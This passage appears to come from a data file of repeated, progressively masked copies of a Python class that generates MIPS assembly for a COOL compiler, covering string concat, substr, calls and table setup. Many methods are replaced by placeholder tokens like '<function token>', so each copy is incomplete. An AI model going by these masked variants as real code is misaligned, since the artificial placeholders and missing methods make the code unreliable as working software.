1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n 